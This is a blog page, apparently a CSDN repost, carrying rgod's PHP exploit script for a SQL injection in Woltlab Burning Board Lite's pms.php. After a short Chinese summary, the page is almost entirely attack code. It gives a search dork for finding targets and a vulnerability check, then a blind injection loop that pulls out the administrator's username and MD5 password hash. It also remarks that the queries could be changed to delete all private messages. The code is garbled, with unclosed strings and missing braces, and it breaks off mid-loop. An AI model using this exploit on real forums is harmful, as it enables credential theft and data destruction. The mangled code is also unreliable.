php sql语句中%3e,Woltlab Burning Board Lite <= 1.0.2pl3e (pms.php) SQL Injection Exploit-CSDN博客

该博客内容详细介绍了针对Woltlab BurningBoard Lite 1.0.2的一个SQL注入漏洞的利用方法。作者提供了一段PHP代码，该代码可以检查目标服务器是否易受攻击，并且如果存在漏洞，可以披露管理员的用户名和MD5哈希。代码通过构造特定的POST请求来利用私信删除功能中的SQL注入漏洞，进行数据查询。博客还包含了如何使用此工具的说明以及错误处理和代理设置。

摘要由CSDN通过智能技术生成

<?php

print_r('

-------------------------------------------------------------------------------

Woltlab Burning Board Lite <= 1.0.2pl3e pms.php / sql injection exploit

by rgod

mail: retrog at alice dot it

site: http://retrogod.altervista.org

dork: "Powered by Burning Board" -exploit -dork -johnny

version specific:

"Powered by Burning Board Lite 1.0.2" "2001-2004 WoltLab GmbH"

-------------------------------------------------------------------------------

');

works regardless of php.ini settings

against MySQL >= 4.1

if ($argc<6) {

print_r('

-------------------------------------------------------------------------------

Usage: php '.$argv[0].' host path user pass action OPTIONS

host: target server (ip/hostname)

path: path to wbblite

user/pass: valid user credentials

action: 1 vulnerability check

2 disclose admin credentials

Options:

-p[port]: specify a port other than 80

-P[ip:port]: " a proxy

Example:

php '.$argv[0].' localhost /wbblite/ rgod pass 1 -P1.1.1.1:80

php '.$argv[0].' localhost /wbblite/ rgod pass 2 ls -la -p81

-------------------------------------------------------------------------------

');

die;

}

short explaination:

pms.php, near lines 140-160, sql injection in $_POST['pmid'] argument:

...

if(isset($_POST['action']) && $_POST['action']=="delmark") {

if($_POST['pmid'] && count($_POST['pmid'])) $pmids=implode(',',$_POST['pmid']);

else $pmids="";

if($pmids) {

if($_POST['folderid']=="outbox") {

$db->query("DELETE FROM bb".$n."_privatemessage WHERE senderid='$wbbuserdata[userid]' AND deletepm=1 AND privatemessageid IN (".addslashes($pmids).")");

$db->unbuffered_query("UPDATE bb".$n."_privatemessage SET deletepm=2 WHERE senderid='$wbbuserdata[userid]' AND privatemessageid IN (".addslashes($pmids).")",1);

}

else {

$db->query("DELETE FROM bb".$n."_privatemessage WHERE recipientid='$wbbuserdata[userid]' AND deletepm=2 AND privatemessageid IN (".addslashes($pmids).")");

$db->unbuffered_query("UPDATE bb".$n."_privatemessage SET deletepm=1 WHERE recipientid='$wbbuserdata[userid]' AND privatemessageid IN (".addslashes($pmids).")",1);

}

header("Location: pms.php?folderid=$folderid&sid=$session[hash]");

exit();

}

...

we have an addslashes() but no quotes...

you can ask true/false questions to the database by deleting / sending private messages to yourself...

this one discloses the admin username/md5 hash pair

note : if working, this one will preserve private messages with a subject other than 'sun-tzu'

but... modifying queries an attacker can easily delete all forum private messages

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);

function quick_dump($string)

{

$result='';$exa='';$cont=0;

for ($i=0; $i<=strlen($string)-1; $i++)

{

if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

{$result.=" .";}

else

{$result.=" ".$string[$i];}

if (strlen(dechex(ord($string[$i])))==2)

{$exa.=" ".dechex(ord($string[$i]));}

else

{$exa.=" 0".dechex(ord($string[$i]));}

$cont++;if ($cont==15) {$cont=0; $result.="

"; $exa.="

";}

}

return $exa."

".$result;

}

$proxy_regex = '(d{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5})';

function sendpacketii($packet)

{

global $proxy, $host, $port, $html, $proxy_regex;

if ($proxy=='') {

$ock=fsockopen(gethostbyname($host),$port);

if (!$ock) {

echo 'No response from '.$host.':'.$port; die;

}

else {

$c = preg_match($proxy_regex,$proxy);

if (!$c) {

echo 'Not a valid proxy...';die;

}

$parts=explode(':',$proxy);

echo "Connecting to ".$parts[0].":".$parts[1]." proxy...

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) {

echo 'No response from proxy...';die;

}

fputs($ock,$packet);

if ($proxy=='') {

$html='';

while (!feof($ock)) {

$html.=fgets($ock);

}

else {

$html='';

while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

$html.=fread($ock,1);

}

fclose($ock);

#debug

#echo "

".$html;

}

$host=$argv[1];

$path=$argv[2];

$user=$argv[3];

$pass=$argv[4];

$action=(int)$argv[5];

$port=80;

$proxy="";

for ($i=5; $i<$argc; $i++){

$temp=$argv[$i][0].$argv[$i][1];

if ($temp=="-p")

{

$port=str_replace("-p","",$argv[$i]);

}

if ($temp=="-P")

{

$proxy=str_replace("-P","",$argv[$i]);

}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

if (($action!=1) and ($action!=2)) {echo "wrong action...";}

$data ="l_username=$user&l_password=$pass&send=send";

$packet ="POST ".$p."login.php HTTP/1.0

$packet.="Host: ".$host."

$packet.="User-Agent: Lynx/2.8.3dev.8 libwww-FM/2.14FM

$packet.="Content-Type: application/x-www-form-urlencoded

$packet.="Content-Length: ".strlen($data)."

$packet.="Accept: text/plain

$packet.="Connection: Close

$packet.=$data;

sendpacketii($packet);

$temp=explode("Set-Cookie: ",$html);

$cookie="";

for ($i=1; $i<count($temp); $i++)

{

$temp2=explode(" ",$temp[$i]);

$cookie.=" ".trim($temp2[0]);

if ($cookie[strlen($cookie)-1]!=";"){$cookie.=";";}

}

if ((!eregi("userpassword",$cookie)) | (!eregi("userid",$cookie)))

{die("failed to login...you need valid user credentials to to do this...");}

else {

//echo "cookie -> ".$cookie."

}

$temp=explode("index.php?sid=",$html);

$temp2=explode(""",$temp[1]);

$sid=trim($temp2[0]);

//echo "sid -> ".$sid."

if ($action==1)

{

$sql="suntzu/*";

$sql=urlencode($sql);

$data ="action=delmark";

$data.="&pmid[0]=$sql";

$data.="&folderid=outbox";

$packet ="POST ".$p."pms.php HTTP/1.0

$packet.="Host: ".$host."

$packet.="Content-Type: application/x-www-form-urlencoded

$packet.="Content-Length: ".strlen($data)."

$packet.="Cookie: ".$cookie."

$packet.="Connection: Close

$packet.=$data;

sendpacketii($packet);

if (!eregi("You have an error in your SQL syntax",$html))

{

die("not vulnerable...

");

}

else

{

echo "vulnerable...

}

elseif ($action==2)

{

function send_pm()

{

global $user,$sid,$p,$host,$cookie;

$data ="recipient=$user";

$data.="&subject=sun-tzu";

$data.="&iconid=0";

$data.="&mode=0";

$data.="&message=suntzoi";

$data.="&parseurl=1";

$data.="&showsignature=1";

$data.="&savecopy=1";

$data.="&pmid=";

$data.="&send=send";

$data.="&action=newpm";

$data.="&sid=$sid";

$data.="&submit=Send+Message";

$packet ="POST ".$p."pms.php HTTP/1.0

$packet.="Content-Type: application/x-www-form-urlencoded

$packet.="Host: ".$host."

$packet.="User-Agent: Lynx/2.8.3dev.8 libwww-FM/2.14FM

$packet.="Content-Length: ".strlen($data)."

$packet.="Cookie: ".$cookie."

$packet.="Connection: Close

$packet.=$data;

sendpacketii($packet);

}

function check_pm()

{ global $p,$host,$cookie,$html;

$packet ="GET ".$p."pms.php HTTP/1.0

$packet.="Host: ".$host."

$packet.="User-Agent: Lynx/2.8.3dev.8 libwww-FM/2.14FM

$packet.="Cookie: ".$cookie."

$packet.="Connection: Close

sendpacketii($packet);

if (eregi("sun-tzu",$html)){return true;}

else {return false;}

}

function my_encode($my_string)

{

$encoded="CHAR(";

for ($k=0; $k<=strlen($my_string)-1; $k++)

{

$encoded.=ord($my_string[$k]);

if ($k==strlen($my_string)-1) {$encoded.=")";}

else {$encoded.=",";}

}

return $encoded;

}

send_pm();

$chars[0]=0;//null

$chars=array_merge($chars,range(48,57)); //numbers

$chars=array_merge($chars,range(97,102));//a-f letters

$j=1;$password="";

echo "md5 hash -> ";

while (!strstr($password,chr(0)))

{

for ($i=0; $i<=255; $i++)

{

if (in_array($i,$chars))

{

//original query;

//DELETE FROM bb1_privatemessage WHERE senderid='1' AND deletepm=1 AND privatemesageid IN ([injection here])

$sql="9999999)/**/OR/**/1=(SELECT/**/(IF((ASCII(SUBSTRING(password,".$j.",1))=".$i."),1,0))/**/FROM/**/bb1_users/**/LIMIT/**/1)/**/AND/**/subject=".my_encode("sun-tzu")."/*";

$sql=urlencode($sql);

$data ="action=delmark";

$data.="&pmid[0]=$sql";

$data.="&folderid=outbox";

$packet ="POST ".$p."pms.php HTTP/1.0

$packet.="Host: ".$host."

$packet.="Content-Type: application/x-www-form-urlencoded

$packet.="Content-Length: ".strlen($data)."

$packet.="Cookie: ".$cookie."

$packet.="Connection: Close

$packet.=$data;

sendpacketii($packet);

if (eregi("You have an error in your SQL syntax",$html)){echo $html; die("

unknown query error or wrong MySQL version...");}

sleep(1);

if (!check_pm()) {$password.=chr($i);echo chr($i);send_pm();break;}

}

if ($i==255) {

die("

Exploit failed...");

}

$j++;

}

echo "

$j=1;$admin="";

echo "admin user -> ";

while (!strstr($admin,chr(0)))

{

for ($i=0; $i<=255; $i++)

{

$sql="9999999)/**/OR/**/1=(SELECT/**/(IF((ASCII(SUBSTRING(username,".$j.",1))=".$i."),1,0))/**/FROM/**/bb1_users/**/LIMIT/**/1)/**/AND/**/subject=".my_encode("sun-tzu")."/*";

$sql=urlencode($sql);

$data ="action=delmark";

$data.="&pmid[0]=$sql";

$data.="&folderid=outbox";

$packet ="POST ".$p."pms.php HTTP/1.0

$packet.="Host: ".$host."

$packet.="Content-Type: application/x-www-form-urlencoded

$packet.="Content-Length: ".strlen($data)."

$packet.="Cookie: ".$cookie."

$packet.="Connection: Close

$packet.=$data;

sendpacketii($packet);